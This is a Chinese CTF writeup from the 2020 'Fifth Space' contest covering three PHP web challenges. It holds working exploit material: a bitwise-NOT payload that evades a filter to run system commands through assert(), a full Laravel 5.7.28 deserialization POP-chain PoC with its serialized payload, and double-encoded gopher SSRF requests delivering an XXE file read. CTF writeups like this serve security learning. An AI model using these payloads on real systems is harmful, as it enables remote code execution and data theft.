Contents

“第五空间”智能安全大赛2020 Writeup

第一次跟php代码,在学长的提示下找到了利用点,记一下审计过程

hate-php

源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { 
        die('You are too good for me'); 
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) { 
        if (preg_match ('/' . $blackitem . '/im', $code)) { 
            die('You deserve better'); 
        } 
    }
    assert($code);
}

可以看到过滤了一些单个字符和所有的php内置函数 只要绕过正则匹配就好 可以用异或或者取反构造shell,这里用取反:

1
2
3
4
5
6
<?php
echo urlencode(~"system");
echo "<br>";
echo urlencode(~"cat *");
//echo ~(urldecode("%8D%9A%9E%9B%99%96%93%9A"));
?>

构造一下:

1
http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D5))

https://leonsec.gitee.io/images/QQ图片20200625150049.png

laravel

确定版本:

vendor\laravel\framework\src\Illuminate\Foundation\Application.php32行看到5.7.28版本,这个版本存在反序列化漏洞 然后利用搜索引擎找到了一堆复现 但是一跟进,发现PendingCommand.php中析构函数删掉了掉用run() https://leonsec.gitee.io/images/QQ图片20200625161246.png

寻找可用poc链

只能另辟蹊径,找到这篇文章:2018护网杯easy_laravel getshell 继续尝试跟进,看能不能利用这个链,发现vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php里的析构函数也被ban了:(嘤嘤嘤) https://leonsec.gitee.io/images/QQ图片20200625162946.png

但是析构函数多的是,这个没了换一个就是了,主要是之前没法调用run()执行命令,看下这个链里的Generator类相关的执行命令函数且有没有被ban: 在vendor/fzaninotto/faker/src/Faker/Generator.php里,发现function format($formatter, $arguments = array())调用了call_user_func_array(),如果它的输入能被控制,就能执行命令 https://leonsec.gitee.io/images/QQ图片20200625164439.png

继续跟进: Generator.php源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php

namespace Faker;

class Generator
{
    protected $providers = array();
    protected $formatters = array();

    public function addProvider($provider)
    {
        array_unshift($this->providers, $provider);
    }

    public function getProviders()
    {
        return $this->providers;
    }

    public function seed($seed = null)
    {
        if ($seed === null) {
            mt_srand();
        } else {
            if (PHP_VERSION_ID < 70100) {
                mt_srand((int) $seed);
            } else {
                mt_srand((int) $seed, MT_RAND_PHP);
            }
        }
    }

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function parse($string)
    {
        return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
    }

    protected function callFormatWithMatches($matches)
    {
        return $this->format($matches[1]);
    }

    public function __get($attribute)
    {
        return $this->format($attribute);
    }

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
}

在277行发现魔术方法__call()调用了format() https://leonsec.gitee.io/images/QQ图片20200625164630.png

我们知道当调用一个不存在的方法时会自动调用__call(),并且这里__call()调用了format()且参数可控,就可以执行命令了

接下来寻找合适的类完成它的触发: 在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php中找到合适的析构函数: 源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

namespace Symfony\Component\Routing\Loader\Configurator;

use Symfony\Component\Routing\Route;
use Symfony\Component\Routing\RouteCollection;

class ImportConfigurator
{
    use Traits\RouteTrait;

    private $parent;

    public function __construct(RouteCollection $parent, RouteCollection $route)
    {
        $this->parent = $parent;
        $this->route = $route;
    }

    public function __destruct()
    {
        $this->parent->addCollection($this->route);
    }

    final public function prefix($prefix, bool $trailingSlashOnRoot = true)
    {
        if (!\is_array($prefix)) {
            $this->route->addPrefix($prefix);
            if (!$trailingSlashOnRoot) {
                $rootPath = (new Route(trim(trim($prefix), '/').'/'))->getPath();
                foreach ($this->route->all() as $route) {
                    if ($route->getPath() === $rootPath) {
                        $route->setPath(rtrim($rootPath, '/'));
                    }
                }
            }
        } else {
            foreach ($prefix as $locale => $localePrefix) {
                $prefix[$locale] = trim(trim($localePrefix), '/');
            }
            foreach ($this->route->all() as $name => $route) {
                if (null === $locale = $route->getDefault('_locale')) {
                    $this->route->remove($name);
                    foreach ($prefix as $locale => $localePrefix) {
                        $localizedRoute = clone $route;
                        $localizedRoute->setDefault('_locale', $locale);
                        $localizedRoute->setDefault('_canonical_route', $name);
                        $localizedRoute->setPath($localePrefix.(!$trailingSlashOnRoot && '/' === $route->getPath() ? '' : $route->getPath()));
                        $this->route->add($name.'.'.$locale, $localizedRoute);
                    }
                } elseif (!isset($prefix[$locale])) {
                    throw new \InvalidArgumentException(sprintf('Route "%s" with locale "%s" is missing a corresponding prefix in its parent collection.', $name, $locale));
                } else {
                    $route->setPath($prefix[$locale].(!$trailingSlashOnRoot && '/' === $route->getPath() ? '' : $route->getPath()));
                    $this->route->add($name, $route);
                }
            }
        }

        return $this;
    }

    final public function namePrefix(string $namePrefix)
    {
        $this->route->addNamePrefix($namePrefix);

        return $this;
    }
}

https://leonsec.gitee.io/images/QQ图片20200625171343.png 这里析构函数调用了addCollection方法

pop链构造

我们还知道,当__destruct销毁对象的时候会自动调用该方法,而调用一个不存在的方法时会自动调用__call(),所以现在pop链就清楚了,先创建一个Generator实例,然后将其赋值给ImportConfigurator$parent。当ImportConfigurator自动销毁时会调用GeneratoraddCollection方法,但是addCollection方法在Generator中不存在,所以自动调用Generator中的__call()方法,而__call()方法调用了format方法,format里面的两个参数都可控,这样就可以RCE了。

poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
namespace Symfony\Component\Routing\Loader\Configurator {
    class ImportConfigurator{
        private $parent;
        private $route;
        public function __construct( $parent, $route)
        {
            $this->parent = $parent;
            $this->route = $route;
        }
        public function __destruct()
        {
            $this->parent->addCollection($this->route);
        }
    }
}



namespace Faker{
    class Generator
    {
        protected $formatters;

        function __construct($forma){
            $this->formatters = $forma;
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }
    }
}
namespace{
    $fs = array("addCollection"=>"system");
    $gen = new Faker\Generator($fs);
    $pb = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($gen,"bash -c 'cat /flag'");
    echo(urlencode(serialize($pb)));
}

payload:

1
O%3A64%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%22%3A2%3A%7Bs%3A72%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00parent%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A13%3A%22addCollection%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A71%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00route%22%3Bs%3A19%3A%22bash+-c+%27cat+%2Fflag%27%22%3B%7D

反序列化点直接全局搜索unserialize,发现/index路由: https://leonsec.gitee.io/images/QQ图片20200625172550.png

GET传值参数为p,拿到flag

https://leonsec.gitee.io/images/QQ图片20200625172413.png

do you know

这题很让人无语 index.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
        }
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];

if(!$a_key||!$b_key||!$a_value||!$b_value)
{
        die('我什么都没有~');
}
if($a_key==$b_key)
{
    die("trick");
}

if($a_value!==$b_value)
{
        if(count($_GET)!=1)
        {
                die('be it so');
        }
}
foreach($_GET as $key=>$value)
{
        $url=$value;
}

$ch = curl_init();
    if ($type != 'file') {
        #add_debug_log($param, 'post_data');
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    } else {
        // 设置超时
        curl_setopt($ch, CURLOPT_TIMEOUT, 180);
    }

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    // 设置header
    if ($type == 'file') {
        $header[] = "content-type: multipart/form-data; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    } elseif ($type == 'xml') {
        curl_setopt($ch, CURLOPT_HEADER, false);
    } elseif ($has_json) {
        $header[] = "content-type: application/json; charset=UTF-8";
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    }

    // curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
    // dump($param);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
    // 要求结果为字符串且输出到屏幕上
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    // 使用证书:cert 与 key 分别属于两个.pem文件


    $res = curl_exec($ch);
    var_dump($res);

读完源码,可以知道前两个QUERY_STRING要键名不同值相同,然后会获取最后一个值作为url,然后使用php的curl模块进行访问 看到提示xxe.php 先访问xxe.php,源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
#这题和命令执行无关,请勿尝试
#there is main.php and hints.php
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$data = preg_replace("/file|flag|write|xxe|test|rot13|utf|print|quoted|read|string|ASCII|ISO|CP1256|cs_CZ|en_AU|dtd|mcrypt|zlib/i",'',$data);
$resp = '';
if($data != false){
    $dom = new DOMDocument();
    $dom->loadXML($data, LIBXML_NOENT);
    ob_start();
    var_dump($dom);
    $resp = ob_get_contents();
    ob_end_clean();
    
}
?>
<style>
div.main{
    width:90%;
    max-width:50em;
    margin:0 auto;
}
textarea{
    width:100%;
    height:10em;
}
input[type="submit"]{
    margin: 1em 0;
}
</style>
<div class="main">
    <form action="" method="POST">
        <textarea name="data">
<?php
echo ($data!=false)?htmlspecialchars($data):htmlspecialchars('');
?>
        </textarea><br/>
        <input style="" type="submit" value="submit"/>
        <a target="_blank" href="<?php echo basename(__FILE__).'?s';?>">View Source Code</a>
    </form>
    <pre>
<?php echo htmlspecialchars($resp);?>
    </pre>
</div>

就是一个简单的无过滤的xxe,需要post传值,并且只能本地访问 想到Gopher协议

Gopher的构造

由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色 基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

几个注意点:

  • gopher协议没有默认端口,所以需要指定web端口
  • 回车换行使用%0d%0a
  • 如果多个参数,参数之间的&也需要进行URL编码
  • 结尾也得使用%0d%0a作为数据包截止的标志

实际测试以及阅读文章中发现gopher存在以下几点问题

  • PHP的curl默认不跟随302跳转
  • curl7.43gopher协议存在%00截断的BUG,v7.45以上可用
  • file_get_contents()的SSRF,gopher协议不能使用URLencode
  • file_get_contents()的SSRF,gopher协议的302跳转有BUG会导致利用失败

GET

GET的HTTP包:

1
2
GET /get.php?name=leon HTTP/1.1
Host: 127.0.0.1

构造后:

1
gopher://127.0.0.1:80/_GET%20/get.php%3fname=leon%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A

POST

必须的头部:

  • Host
  • Content-Type
  • Content-Length
  • 需要post的数据

POST的HTTP包:

1
2
3
4
5
6
POST /post.php HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:9

name=leon

构造后:

1
gopher://127.0.0.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:9%0d%0A%0d%0Aname=leon%0d%0A

然后来看本题: 需要用gopher协议向xxe.phppostxxepayload 测试过程中发现,直接向http://121.36.64.91/?a=leon&b=leon&c=http://127.0.0.1/xxe.phppostpayload时抓包: https://leonsec.gitee.io/images/QQ图片20200626235358.png 可以发现data是被urlencode过的,所以gopher构造时,data也应该是urlencode过的,因为这里是打ssrf,浏览器会解码一次,curl会再解码一次,所以需要构造的gopher数据进行二次编码: 构造的gopher:

1
2
3
4
5
6
7
POST /xxe.php HTTP/1.1
Host: 121.36.64.91
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
Upgrade-Insecure-Requests: 1

data=%3C%3Fxml%20version%20%3D%20%221.0%22%3F%3E%0A%3C!DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C!ENTITY%20f%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhints.php%22%3E%0A%5D%3E%0A%3Cx%3E%26f%3B%3C%2Fx%3E

二次编码后:(记得换行符替换)

1
POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A

payload:

1
http://121.36.64.91/?a=leon&b=leon&c=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A

到这里根据提示读main.php和hints.php:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class A
{
    public $object;
    public $method;
    public $variable;

    function __destruct()
    {
        $o = $this->object;
        $m = $this->method;
        $v = $this->variable;
        $o->$m();
        global $$v;
        $answer = file_get_contents('flag.php');
        ob_end_clean();
    }
}

class B
{
    function read()
    {
        ob_start();
        global $answer;
        echo $answer;
    }
}
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
if (isset($_GET['‬'])) {
    unserialize($_GET['‬'])->CaptureTheFlag();
} else {
    die('you do not pass the misc');
}

hints.php就不放了,太智障了 槽点1$_GET['‬']乍一看啥都没有,直接复制丢进url栏一看,发现是不可见字符%E2%80%AC,然后hints.php起初不知道是用来干嘛的,反序列化搞完了发现ob_start()开启了无法输出内容,还以为hints.php是用来提示什么,后来caoyi小哥哥提示我两个数md5不同我才发现原来是用来提示 %E2%80%AC的。。。。??? 槽点2:到现在做完了还不知道预期到底是啥,如果预期是利用$poc=$_SERVER['QUERY_STRING'];的特性,将flag等被过滤的关键词用url编码绕过,那么直接在index.php用file协议就可以读到flag.php:

1
http://121.36.64.91/?a=leon&b=leon&leon=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70

https://leonsec.gitee.io/images/QQ图片20200627001930.png

那我还需要到xxe.php去用gopher协议打xxe读flag.php? 两个地方都是要url编码绕过关键词

如果预期是main.php绕过ob_start()进行输出,那我等一手wp,看完了再来复现

参考:Gopher协议在SSRF漏洞中的深入研究